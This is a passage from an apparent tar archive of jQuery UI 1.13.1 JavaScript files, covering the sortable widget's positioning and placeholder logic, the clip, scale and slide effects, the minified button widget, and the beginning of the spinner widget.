this.containers[ i ].containerCache.over ) { this.containers[ i ]._trigger( "out", event, this._uiHash( this ) ); this.containers[ i ].containerCache.over = 0; } } } // If no intersecting containers found, return if ( !innermostContainer ) { return; } // Move the item into the container if it's not there already if ( this.containers.length === 1 ) { if ( !this.containers[ innermostIndex ].containerCache.over ) { this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) ); this.containers[ innermostIndex ].containerCache.over = 1; } } else { // When entering a new container, we will find the item with the least distance and // append our item near it dist = 10000; itemWithLeastDistance = null; floating = innermostContainer.floating || this._isFloating( this.currentItem ); posProperty = floating ? "left" : "top"; sizeProperty = floating ? "width" : "height"; axis = floating ? "pageX" : "pageY"; for ( j = this.items.length - 1; j >= 0; j-- ) { if ( !$.contains( this.containers[ innermostIndex ].element[ 0 ], this.items[ j ].item[ 0 ] ) ) { continue; } if ( this.items[ j ].item[ 0 ] === this.currentItem[ 0 ] ) { continue; } cur = this.items[ j ].item.offset()[ posProperty ]; nearBottom = false; if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) { nearBottom = true; } if ( Math.abs( event[ axis ] - cur ) < dist ) { dist = Math.abs( event[ axis ] - cur ); itemWithLeastDistance = this.items[ j ]; this.direction = nearBottom ? "up" : "down"; } } //Check if dropOnEmpty is enabled if ( !itemWithLeastDistance && !this.options.dropOnEmpty ) { return; } if ( this.currentContainer === this.containers[ innermostIndex ] ) { if ( !this.currentContainer.containerCache.over ) { this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() ); this.currentContainer.containerCache.over = 1; } return; } if ( itemWithLeastDistance ) { this._rearrange( event, itemWithLeastDistance, null, true ); } else { this._rearrange( event, null, this.containers[ innermostIndex ].element, true ); } this._trigger( "change", event, this._uiHash() ); this.containers[ innermostIndex ]._trigger( "change", event, this._uiHash( this ) ); this.currentContainer = this.containers[ innermostIndex ]; //Update the placeholder this.options.placeholder.update( this.currentContainer, this.placeholder ); //Update scrollParent this.scrollParent = this.placeholder.scrollParent(); //Update overflowOffset if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ].tagName !== "HTML" ) { this.overflowOffset = this.scrollParent.offset(); } this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) ); this.containers[ innermostIndex ].containerCache.over = 1; } }, _createHelper: function( event ) { var o = this.options, helper = typeof o.helper === "function" ? $( o.helper.apply( this.element[ 0 ], [ event, this.currentItem ] ) ) : ( o.helper === "clone" ? this.currentItem.clone() : this.currentItem ); //Add the helper to the DOM if that didn't happen already if ( !helper.parents( "body" ).length ) { this.appendTo[ 0 ].appendChild( helper[ 0 ] ); } if ( helper[ 0 ] === this.currentItem[ 0 ] ) { this._storedCSS = { width: this.currentItem[ 0 ].style.width, height: this.currentItem[ 0 ].style.height, position: this.currentItem.css( "position" ), top: this.currentItem.css( "top" ), left: this.currentItem.css( "left" ) }; } if ( !helper[ 0 ].style.width || o.forceHelperSize ) { helper.width( this.currentItem.width() ); } if ( !helper[ 0 ].style.height || o.forceHelperSize ) { helper.height( this.currentItem.height() ); } return helper; }, _adjustOffsetFromHelper: function( obj ) { if ( typeof obj === "string" ) { obj = obj.split( " " ); } if ( Array.isArray( obj ) ) { obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 }; } if ( "left" in obj ) { this.offset.click.left = obj.left + this.margins.left; } if ( "right" in obj ) { this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left; } if ( "top" in obj ) { this.offset.click.top = obj.top + this.margins.top; } if ( "bottom" in obj ) { this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top; } }, _getParentOffset: function() { //Get the offsetParent and cache its position this.offsetParent = this.helper.offsetParent(); var po = this.offsetParent.offset(); // This is a special case where we need to modify a offset calculated on start, since the // following happened: // 1. The position of the helper is absolute, so it's position is calculated based on the // next positioned parent // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't // the document, which means that the scroll is included in the initial calculation of the // offset of the parent, and never recalculated upon drag if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== this.document[ 0 ] && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) { po.left += this.scrollParent.scrollLeft(); po.top += this.scrollParent.scrollTop(); } // This needs to be actually done for all browsers, since pageX/pageY includes this // information with an ugly IE fix if ( this.offsetParent[ 0 ] === this.document[ 0 ].body || ( this.offsetParent[ 0 ].tagName && this.offsetParent[ 0 ].tagName.toLowerCase() === "html" && $.ui.ie ) ) { po = { top: 0, left: 0 }; } return { top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ), left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 ) }; }, _getRelativeOffset: function() { if ( this.cssPosition === "relative" ) { var p = this.currentItem.position(); return { top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) + this.scrollParent.scrollTop(), left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) + this.scrollParent.scrollLeft() }; } else { return { top: 0, left: 0 }; } }, _cacheMargins: function() { this.margins = { left: ( parseInt( this.currentItem.css( "marginLeft" ), 10 ) || 0 ), top: ( parseInt( this.currentItem.css( "marginTop" ), 10 ) || 0 ) }; }, _cacheHelperProportions: function() { this.helperProportions = { width: this.helper.outerWidth(), height: this.helper.outerHeight() }; }, _setContainment: function() { var ce, co, over, o = this.options; if ( o.containment === "parent" ) { o.containment = this.helper[ 0 ].parentNode; } if ( o.containment === "document" || o.containment === "window" ) { this.containment = [ 0 - this.offset.relative.left - this.offset.parent.left, 0 - this.offset.relative.top - this.offset.parent.top, o.containment === "document" ? this.document.width() : this.window.width() - this.helperProportions.width - this.margins.left, ( o.containment === "document" ? ( this.document.height() || document.body.parentNode.scrollHeight ) : this.window.height() || this.document[ 0 ].body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top ]; } if ( !( /^(document|window|parent)$/ ).test( o.containment ) ) { ce = $( o.containment )[ 0 ]; co = $( o.containment ).offset(); over = ( $( ce ).css( "overflow" ) !== "hidden" ); this.containment = [ co.left + ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) + ( parseInt( $( ce ).css( "paddingLeft" ), 10 ) || 0 ) - this.margins.left, co.top + ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) + ( parseInt( $( ce ).css( "paddingTop" ), 10 ) || 0 ) - this.margins.top, co.left + ( over ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) - ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) - ( parseInt( $( ce ).css( "paddingRight" ), 10 ) || 0 ) - this.helperProportions.width - this.margins.left, co.top + ( over ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) - ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) - ( parseInt( $( ce ).css( "paddingBottom" ), 10 ) || 0 ) - this.helperProportions.height - this.margins.top ]; } }, _convertPositionTo: function( d, pos ) { if ( !pos ) { pos = this.position; } var mod = d === "absolute" ? 1 : -1, scroll = this.cssPosition === "absolute" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ? this.offsetParent : this.scrollParent, scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName ); return { top: ( // The absolute mouse position pos.top + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.top * mod - ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod ) ), left: ( // The absolute mouse position pos.left + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.left * mod - ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod ) ) }; }, _generatePosition: function( event ) { var top, left, o = this.options, pageX = event.pageX, pageY = event.pageY, scroll = this.cssPosition === "absolute" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ? this.offsetParent : this.scrollParent, scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName ); // This is another very weird special case that only happens for relative elements: // 1. If the css position is relative // 2. and the scroll parent is the document or similar to the offset parent // we have to refresh the relative offset during the scroll so there are no jumps if ( this.cssPosition === "relative" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ] !== this.offsetParent[ 0 ] ) ) { this.offset.relative = this._getRelativeOffset(); } /* * - Position constraining - * Constrain the position to a mix of grid, containment. */ if ( this.originalPosition ) { //If we are not dragging yet, we won't check for options if ( this.containment ) { if ( event.pageX - this.offset.click.left < this.containment[ 0 ] ) { pageX = this.containment[ 0 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top < this.containment[ 1 ] ) { pageY = this.containment[ 1 ] + this.offset.click.top; } if ( event.pageX - this.offset.click.left > this.containment[ 2 ] ) { pageX = this.containment[ 2 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top > this.containment[ 3 ] ) { pageY = this.containment[ 3 ] + this.offset.click.top; } } if ( o.grid ) { top = this.originalPageY + Math.round( ( pageY - this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ]; pageY = this.containment ? ( ( top - this.offset.click.top >= this.containment[ 1 ] && top - this.offset.click.top <= this.containment[ 3 ] ) ? top : ( ( top - this.offset.click.top >= this.containment[ 1 ] ) ? top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top; left = this.originalPageX + Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ]; pageX = this.containment ? ( ( left - this.offset.click.left >= this.containment[ 0 ] && left - this.offset.click.left <= this.containment[ 2 ] ) ? left : ( ( left - this.offset.click.left >= this.containment[ 0 ] ) ? left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left; } } return { top: ( // The absolute mouse position pageY - // Click offset (relative to the element) this.offset.click.top - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top - // The offsetParent's offset without borders (offset + border) this.offset.parent.top + ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) ) ), left: ( // The absolute mouse position pageX - // Click offset (relative to the element) this.offset.click.left - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left - // The offsetParent's offset without borders (offset + border) this.offset.parent.left + ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) ) ) }; }, _rearrange: function( event, i, a, hardRefresh ) { if ( a ) { a[ 0 ].appendChild( this.placeholder[ 0 ] ); } else { i.item[ 0 ].parentNode.insertBefore( this.placeholder[ 0 ], ( this.direction === "down" ? i.item[ 0 ] : i.item[ 0 ].nextSibling ) ); } //Various things done here to improve the performance: // 1. we create a setTimeout, that calls refreshPositions // 2. on the instance, we have a counter variable, that get's higher after every append // 3. on the local scope, we copy the counter variable, and check in the timeout, // if it's still the same // 4. this lets only the last addition to the timeout stack through this.counter = this.counter ? ++this.counter : 1; var counter = this.counter; this._delay( function() { if ( counter === this.counter ) { //Precompute after each DOM insertion, NOT on mousemove this.refreshPositions( !hardRefresh ); } } ); }, _clear: function( event, noPropagation ) { this.reverting = false; // We delay all events that have to be triggered to after the point where the placeholder // has been removed and everything else normalized again var i, delayedTriggers = []; // We first have to update the dom position of the actual currentItem // Note: don't do it if the current item is already removed (by a user), or it gets // reappended (see #4088) if ( !this._noFinalSort && this.currentItem.parent().length ) { this.placeholder.before( this.currentItem ); } this._noFinalSort = null; if ( this.helper[ 0 ] === this.currentItem[ 0 ] ) { for ( i in this._storedCSS ) { if ( this._storedCSS[ i ] === "auto" || this._storedCSS[ i ] === "static" ) { this._storedCSS[ i ] = ""; } } this.currentItem.css( this._storedCSS ); this._removeClass( this.currentItem, "ui-sortable-helper" ); } else { this.currentItem.show(); } if ( this.fromOutside && !noPropagation ) { delayedTriggers.push( function( event ) { this._trigger( "receive", event, this._uiHash( this.fromOutside ) ); } ); } if ( ( this.fromOutside || this.domPosition.prev !== this.currentItem.prev().not( ".ui-sortable-helper" )[ 0 ] || this.domPosition.parent !== this.currentItem.parent()[ 0 ] ) && !noPropagation ) { // Trigger update callback if the DOM position has changed delayedTriggers.push( function( event ) { this._trigger( "update", event, this._uiHash() ); } ); } // Check if the items Container has Changed and trigger appropriate // events. if ( this !== this.currentContainer ) { if ( !noPropagation ) { delayedTriggers.push( function( event ) { this._trigger( "remove", event, this._uiHash() ); } ); delayedTriggers.push( ( function( c ) { return function( event ) { c._trigger( "receive", event, this._uiHash( this ) ); }; } ).call( this, this.currentContainer ) ); delayedTriggers.push( ( function( c ) { return function( event ) { c._trigger( "update", event, this._uiHash( this ) ); }; } ).call( this, this.currentContainer ) ); } } //Post events to containers function delayEvent( type, instance, container ) { return function( event ) { container._trigger( type, event, instance._uiHash( instance ) ); }; } for ( i = this.containers.length - 1; i >= 0; i-- ) { if ( !noPropagation ) { delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) ); } if ( this.containers[ i ].containerCache.over ) { delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) ); this.containers[ i ].containerCache.over = 0; } } //Do what was originally in plugins if ( this.storedCursor ) { this.document.find( "body" ).css( "cursor", this.storedCursor ); this.storedStylesheet.remove(); } if ( this._storedOpacity ) { this.helper.css( "opacity", this._storedOpacity ); } if ( this._storedZIndex ) { this.helper.css( "zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex ); } this.dragging = false; if ( !noPropagation ) { this._trigger( "beforeStop", event, this._uiHash() ); } //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, // it unbinds ALL events from the original node! this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] ); if ( !this.cancelHelperRemoval ) { if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) { this.helper.remove(); } this.helper = null; } if ( !noPropagation ) { for ( i = 0; i < delayedTriggers.length; i++ ) { // Trigger all delayed events delayedTriggers[ i ].call( this, event ); } this._trigger( "stop", event, this._uiHash() ); } this.fromOutside = false; return !this.cancelHelperRemoval; }, _trigger: function() { if ( $.Widget.prototype._trigger.apply( this, arguments ) === false ) { this.cancel(); } }, _uiHash: function( _inst ) { var inst = _inst || this; return { helper: inst.helper, placeholder: inst.placeholder || $( [] ), position: inst.position, originalPosition: inst.originalPosition, offset: inst.positionAbs, item: inst.currentItem, sender: _inst ? _inst.element : null }; } } ); } ); �����������������������������������������������������������������������������������������js/jquery/ui/effect-clip.min.js���������������������������������������������������������������������0000644�����������������00000001414�14717703502�0012423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Clip 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],t):t(jQuery)}(function(r){"use strict";return r.effects.define("clip","hide",function(t,e){var i={},o=r(this),c=t.direction||"vertical",n="both"===c,f=n||"horizontal"===c,n=n||"vertical"===c,c=o.cssClip();i.clip={top:n?(c.bottom-c.top)/2:c.top,right:f?(c.right-c.left)/2:c.right,bottom:n?(c.bottom-c.top)/2:c.bottom,left:f?(c.right-c.left)/2:c.left},r.effects.createPlaceholder(o),"show"===t.mode&&(o.cssClip(i.clip),i.clip=c),o.animate(i,{queue:!1,duration:t.duration,easing:t.easing,complete:e})})});����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/button.min.js��������������������������������������������������������������������������0000644�����������������00000013772�14717703502�0011567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Button 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./controlgroup","./checkboxradio","./core"],t):t(jQuery)}(function(e){"use strict";var h;return e.widget("ui.button",{version:"1.13.1",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var t,i=this._super()||{};return this.isInput=this.element.is("input"),null!=(t=this.element[0].disabled)&&(i.disabled=t),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(i.label=this.originalLabel),i},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(t){t.keyCode===e.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(t,i){var t="iconPosition"!==t,o=t?this.options.iconPosition:i,s="top"===o||"bottom"===o;this.icon?t&&this._removeClass(this.icon,null,this.options.icon):(this.icon=e("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),t&&this._addClass(this.icon,null,i),this._attachIcon(o),s?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=e("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(o))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(t){this.icon[/^(?:end|bottom)/.test(t)?"before":"after"](this.iconSpace)},_attachIcon:function(t){this.element[/^(?:end|bottom)/.test(t)?"append":"prepend"](this.icon)},_setOptions:function(t){var i=(void 0===t.showLabel?this.options:t).showLabel,o=(void 0===t.icon?this.options:t).icon;i||o||(t.showLabel=!0),this._super(t)},_setOption:function(t,i){"icon"===t&&(i?this._updateIcon(t,i):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove())),"iconPosition"===t&&this._updateIcon(t,i),"showLabel"===t&&(this._toggleClass("ui-button-icon-only",null,!i),this._updateTooltip()),"label"===t&&(this.isInput?this.element.val(i):(this.element.html(i),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(t,i),"disabled"===t&&(this._toggleClass(null,"ui-state-disabled",i),(this.element[0].disabled=i)&&this.element.trigger("blur"))},refresh:function(){var t=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOptions({disabled:t}),this._updateTooltip()}}),!1!==e.uiBackCompat&&(e.widget("ui.button",e.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(t,i){"text"===t?this._super("showLabel",i):("showLabel"===t&&(this.options.text=i),"icon"===t&&(this.options.icons.primary=i),"icons"===t&&(i.primary?(this._super("icon",i.primary),this._super("iconPosition","beginning")):i.secondary&&(this._super("icon",i.secondary),this._super("iconPosition","end"))),this._superApply(arguments))}}),e.fn.button=(h=e.fn.button,function(o){var t="string"==typeof o,s=Array.prototype.slice.call(arguments,1),n=this;return t?this.length||"instance"!==o?this.each(function(){var t,i=e(this).attr("type"),i=e.data(this,"ui-"+("checkbox"!==i&&"radio"!==i?"button":"checkboxradio"));return"instance"===o?(n=i,!1):i?"function"!=typeof i[o]||"_"===o.charAt(0)?e.error("no such method '"+o+"' for button widget instance"):(t=i[o].apply(i,s))!==i&&void 0!==t?(n=t&&t.jquery?n.pushStack(t.get()):t,!1):void 0:e.error("cannot call methods on button prior to initialization; attempted to call method '"+o+"'")}):n=void 0:(s.length&&(o=e.widget.extend.apply(null,[o].concat(s))),this.each(function(){var t=e(this).attr("type"),t="checkbox"!==t&&"radio"!==t?"button":"checkboxradio",i=e.data(this,"ui-"+t);i?(i.option(o||{}),i._init&&i._init()):"button"==t?h.call(e(this),o):e(this).checkboxradio(e.extend({icon:!1},o))})),n}),e.fn.buttonset=function(){return e.ui.controlgroup||e.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))}),e.ui.button});������js/jquery/ui/effect-scale.js������������������������������������������������������������������������0000644�����������������00000002507�14717703502�0012005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Scale 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Scale Effect //>>group: Effects //>>description: Grows or shrinks an element and its content. //>>docs: http://api.jqueryui.com/scale-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect", "./effect-size" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "scale", function( options, done ) { // Create element var el = $( this ), mode = options.mode, percent = parseInt( options.percent, 10 ) || ( parseInt( options.percent, 10 ) === 0 ? 0 : ( mode !== "effect" ? 0 : 100 ) ), newOptions = $.extend( true, { from: $.effects.scaledDimensions( el ), to: $.effects.scaledDimensions( el, percent, options.direction || "both" ), origin: options.origin || [ "middle", "center" ] }, options ); // Fade option to support puff if ( options.fade ) { newOptions.from.opacity = 1; newOptions.to.opacity = 0; } $.effects.effect.size.call( this, newOptions, done ); } ); } ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-slide.js������������������������������������������������������������������������0000644�����������������00000003631�14717703502�0012015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Slide 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Slide Effect //>>group: Effects //>>description: Slides an element in and out of the viewport. //>>docs: http://api.jqueryui.com/slide-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "slide", "show", function( options, done ) { var startClip, startRef, element = $( this ), map = { up: [ "bottom", "top" ], down: [ "top", "bottom" ], left: [ "right", "left" ], right: [ "left", "right" ] }, mode = options.mode, direction = options.direction || "left", ref = ( direction === "up" || direction === "down" ) ? "top" : "left", positiveMotion = ( direction === "up" || direction === "left" ), distance = options.distance || element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ), animation = {}; $.effects.createPlaceholder( element ); startClip = element.cssClip(); startRef = element.position()[ ref ]; // Define hide animation animation[ ref ] = ( positiveMotion ? -1 : 1 ) * distance + startRef; animation.clip = element.cssClip(); animation.clip[ map[ direction ][ 1 ] ] = animation.clip[ map[ direction ][ 0 ] ]; // Reverse the animation if we're showing if ( mode === "show" ) { element.cssClip( animation.clip ); element.css( ref, animation[ ref ] ); animation.clip = startClip; animation[ ref ] = startRef; } // Actually animate element.animate( animation, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); �������������������������������������������������������������������������������������������������������js/jquery/ui/spinner.js�����������������������������������������������������������������������������0000644�����������������00000034041�14717703502�0011140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Spinner 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Spinner //>>group: Widgets //>>description: Displays buttons to easily input numbers via the keyboard or mouse. //>>docs: http://api.jqueryui.com/spinner/ //>>demos: http://jqueryui.com/spinner/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/spinner.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./button", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; function spinnerModifier( fn ) { return function() { var previous = this.element.val(); fn.apply( this, arguments ); this._refresh(); if ( previous !== this.element.val() ) { this._trigger( "change" ); } }; } $.widget( "ui.spinner", { version: "1.13.1", defaultElement: "<input>", widgetEventPrefix: "spin", options: { classes: { "ui-spinner": "ui-corner-all", "ui-spinner-down": "ui-corner-br", "ui-spinner-up": "ui-corner-tr" }, culture: null, icons: { down: "ui-icon-triangle-1-s", up: "ui-icon-triangle-1-n" }, incremental: true, max: null, min: null, numberFormat: null, page: 10, step: 1, change: null, spin: null, start: null, stop: null }, _create: function() { // handle string values that need to be parsed this._setOption( "max", this.options.max ); this._setOption( "min", this.options.min ); this._setOption( "step", this.options.step ); // Only format if there is a value, prevents the field from being marked // as invalid in Firefox, see #9573. if ( this.value() !== "" ) { // Format the value, but don't constrain. this._value( this.element.val(), true ); } this._draw(); this._on( this._events ); this._refresh(); // Turning off autocomplete prevents the browser from remembering the // value when navigating through history, so we re-enable autocomplete // if the page is unloaded before the widget is destroyed. #7790 this._on( this.window, { beforeunload: function() { this.element.removeAttr( "autocomplete" ); } } ); }, _getCreateOptions: function() { var options = this._super(); var element = this.element; $.each( [ "min", "max", "step" ], function( i, option ) { var value = element.attr( option ); if ( value != null && value.length ) { options[ option ] = value; } } ); return options; }, _events: { keydown: function( event ) { if ( this._start( event ) && this._keydown( event ) ) { event.preventDefault(); } }, keyup: "_stop", focus: function() { this.previous = this.element.val(); }, blur: function( event ) { if ( this.cancelBlur ) { delete this.cancelBlur; return; } this._stop(); this._refresh(); if ( this.previous !== this.element.val() ) { this._trigger( "change", event ); } }, mousewheel: function( event, delta ) { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ); var isActive = this.element[ 0 ] === activeElement; if ( !isActive || !delta ) { return; } if ( !this.spinning && !this._start( event ) ) { return false; } this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event ); clearTimeout( this.mousewheelTimer ); this.mousewheelTimer = this._delay( function() { if ( this.spinning ) { this._stop( event ); } }, 100 ); event.preventDefault(); }, "mousedown .ui-spinner-button": function( event ) { var previous; // We never want the buttons to have focus; whenever the user is // interacting with the spinner, the focus should be on the input. // If the input is focused then this.previous is properly set from // when the input first received focus. If the input is not focused // then we need to set this.previous based on the value before spinning. previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ? this.previous : this.element.val(); function checkFocus() { var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ); if ( !isActive ) { this.element.trigger( "focus" ); this.previous = previous; // support: IE // IE sets focus asynchronously, so we need to check if focus // moved off of the input because the user clicked on the button. this._delay( function() { this.previous = previous; } ); } } // Ensure focus is on (or stays on) the text field event.preventDefault(); checkFocus.call( this ); // Support: IE // IE doesn't prevent moving focus even with event.preventDefault() // so we set a flag to know when we should ignore the blur event // and check (again) if focus moved off of the input. this.cancelBlur = true; this._delay( function() { delete this.cancelBlur; checkFocus.call( this ); } ); if ( this._start( event ) === false ) { return; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, "mouseup .ui-spinner-button": "_stop", "mouseenter .ui-spinner-button": function( event ) { // button will add ui-state-active if mouse was down while mouseleave and kept down if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) { return; } if ( this._start( event ) === false ) { return false; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, // TODO: do we really want to consider this a stop? // shouldn't we just stop the repeater and wait until mouseup before // we trigger the stop event? "mouseleave .ui-spinner-button": "_stop" }, // Support mobile enhanced option and make backcompat more sane _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( "<span>" ) .parent() // Add buttons .append( "<a></a><a></a>" ); }, _draw: function() { this._enhance(); this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" ); this._addClass( "ui-spinner-input" ); this.element.attr( "role", "spinbutton" ); // Button bindings this.buttons = this.uiSpinner.children( "a" ) .attr( "tabIndex", -1 ) .attr( 